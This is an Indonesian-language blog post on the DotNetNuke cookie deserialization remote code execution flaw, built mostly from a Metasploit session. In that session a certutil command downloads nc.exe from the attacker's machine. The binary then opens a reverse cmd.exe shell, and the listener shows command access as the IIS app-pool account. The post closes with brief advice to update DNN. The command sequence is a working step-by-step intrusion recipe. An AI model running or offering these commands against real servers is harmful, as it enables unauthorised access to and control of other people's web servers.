DNN atau DotNetNuke adalah aplikasi web framework yang memakai ASP.Net sebagai bahasa pemrograman. Ada banyak perusahaan yang memakai DNN sebagai company profile atau coorporate website. DNN sendiri memiliki kerentanan RCE yang saat ini ramai sedang di exploitasi di internet. Walaupun CVE yang tercantum adalah CVE tahun 2017 akan tetapi exploit ini baru saja di porting ke metasploit-framework 16 Maret 2020.
Bagaimana cara penyerang mendapatkan akses? Berikut paparan nya:
msf5 > use windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.2.26
RHOSTS => 192.168.2.26
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > run
^C[-] run: Interrupted
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set payload windows/exec
payload => windows/exec
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set CMD ping 192.168.2.27
CMD => ping 192.168.2.27
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set CMD certutil.exe -urlcache -split -f http://192.168.2.27/nc.exe c:\\users\\public\\nc.exe
CMD => certutil.exe -urlcache -split -f http://192.168.2.27/nc.exe c:\users\public\nc.exe
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > run
[*] Trying to determine DNN Version...
[+] DNN Version Found: v5.1.0 - v9.0.1
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Sending Exploit Payload to: /__ ...
[*] Exploit completed, but no session was created.
--
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.2.26 - - [29/May/2020 22:11:26] "GET /nc.exe HTTP/1.1" 200 -
192.168.2.26 - - [29/May/2020 22:11:26] "GET /nc.exe HTTP/1.1" 200 -
Pada kode diatas penyerang mencoba mendownload exe kedalam server.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set CMD c:\\users\\public\\nc.exe 192.168.2.27 443 -e cmd.exe
CMD => c:\users\public\nc.exe 192.168.2.27 443 -e cmd.exe
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > run
[*] Trying to determine DNN Version...
[+] DNN Version Found: v5.1.0 - v9.0.1
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Sending Exploit Payload to: /__ ...
[*] Exploit completed, but no session was created.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) >
---
root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.2.26: inverse host lookup failed: Unknown host
connect to [192.168.2.27] from (UNKNOWN) [192.168.2.26] 49540
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
Pada kode diatas penyerang mencoba mengeksekusi exe yang telah diupload dan berhasil mendapatkan shell.
RCE merupakan serangan yang sangat berbahaya karena penyerang dapat mendapatkan akses langsung pada server. Apabila company website atau coorporate website anda memakai DNN ada baik nya anda melakukan update.
Terimakasih telah membaca artikel ini